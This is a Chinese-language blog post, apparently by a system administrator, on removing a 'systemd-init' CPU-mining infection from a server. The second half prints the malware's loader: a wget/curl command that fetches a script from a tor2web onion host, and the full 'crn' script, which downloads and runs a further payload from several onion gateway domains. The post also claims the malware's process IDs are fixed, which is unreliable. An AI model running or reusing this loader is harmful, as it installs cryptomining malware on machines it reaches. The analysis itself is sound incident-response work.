一個名爲systemd-init的CPU挖礦病毒及後續

原創

Wu_Menghao

2020-06-22 03:03

一個名爲systemd-init的CPU挖礦病毒及後續

作者 root 在安全

今天接到了報警，一臺內部的服務器CPU負載嗷嗷的高，感到非常的疑惑，就點進去看看負載情況

CPU爆滿

監控誠不欺我，果然是CPU跑爆了，然後看看Command，發現都是M開頭的，這肯定就是病毒了，就開始處理

發現運行最長的進程PID是32336，就拿它下刀開始查

發現，毛都查不到，就開始按照常規開始查crontab、rc.local，結果有發現

這是個非常令人蛋疼東東，就去看看裏面到底寫了什麼

這次的病毒比上次處理的要高明多了，還知道用BASE64加密一下，但是然並卵，分分鐘解密出來了，稍微研究了下發現關鍵點是這麼一句：

if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then

/tmp/.X11-unix/0 這個文件應該是不存在的，這裏既然有這個，那就開始處理一下，發覺/tmp/.X11-unix/下面有 0 1 2 三個文件夾，對應的三個PID

發覺還是查不到，但是起碼知道了4fmW2Z這個進程是關鍵，然後就開始該刪除的刪除，該停止的停止

註釋掉crontab裏面的任務，kill掉三個進程，刪除掉/tmp/.X11-unix裏的文件，再看服務器恢復了正常

然後就是繼續觀察，看看還會不會起來新的進程

這次的病毒明顯比上次的病毒要牛逼，但是貌似三個PID是固定的，9581、15755和32336，以後如果有人發現了這三個病毒，直接咔掉就好，就不需要另行煩惱了

然後深入的分析一下病毒是幾個意思，從crontab裏面的腳本摘出wget命令下載一下，起了一個docker容器開始搞

# wget -t1 -T180 -qU- -O–no-check-certificate intelbagjop7nzm5.tor2web.io/crn || curl -m180 -fsSLkA- intelbagjop7nzm5.tor2web.io/crn

crn腳本會下載int腳本病毒，int病毒腳本會下載cpu腳本病毒，但是int腳本和cpu腳本都是加密的，crn腳本如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d” “)
wget -t1 -T180 -qU- –no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
d=”rm -f asdf”
touch /tmp/asdf && cd /tmp && $d
touch /var/tmp/asdf && cd /var/tmp
touch /dev/shm/asdf && cd /dev/shm && $d
touch /usr/bin/asdf && cd /usr/bin && $d
touch /opt/consul/asdf && cd /opt/consul && $d
touch /data/consul/asdf && cd /data/consul && $d
touch /var/lib/psql/asdf && cd /var/lib/psql/asdf && $d
touch /var/lib/psql/data/asdf && cd /var/lib/psql/data && $d
touch /var/lib/postgres/asdf && cd /var/lib/postgres && $d
touch /var/lib/postgres/data/asdf && cd /var/lib/postgres/data && $d
touch /var/lib/postgresql/asdf && cd /var/lib/postgresql && $d
touch /var/lib/postgresql/data/asdf && cd /var/lib/postgresql/data && $d
touch $PGDATA/asdf && cd $PGDATA && $d
for h in tor2web.io d2web.org onion.in.net onion.glass onion.mn onion.to onion.sh onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then
x intelbagjop7nzm5.$h
else
break
fi
done